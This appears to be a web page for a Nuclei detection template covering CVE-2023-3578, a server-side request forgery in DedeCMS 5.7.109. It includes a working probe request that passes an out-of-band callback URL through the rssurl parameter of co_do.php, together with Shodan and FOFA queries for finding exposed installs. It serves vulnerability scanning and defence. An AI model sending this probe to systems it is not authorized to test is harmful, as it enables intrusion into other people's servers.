DedeCMS 5.7.109 - Server-Side Request Forgery

ID: CVE-2023-3578

Severity: critical

Author: ritikchaddha

Tags: cve,cve2023,dedecms,ssrf,oast

Description

Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.

YAML Source

id: CVE-2023-3578

info:
  name: DedeCMS 5.7.109 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.
  impact: |
    Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.
  remediation: |
    Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.
  reference:
    - https://github.com/nightcloudos/cve/blob/main/SSRF.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3578
    cwe-id: CWE-918
    epss-score: 0.00063
    epss-percentile: 0.26288
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.109:*:*:*:*:*:*:*
  metadata:
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: response
        words:
          - "DedeCms"
        case-insensitive: true

  - raw:
      - |
        GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
# digest: 4b0a00483046022100f27a27e38eee9f3158a6d168cce77a1d8959883c1b50d980649209b3cb1ab92f0221009e610a24bf614d0fd6133479c6ef9b421ef4da1a4c612fd6c53ee6b2fd39a24e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-3578.yaml"

View on Github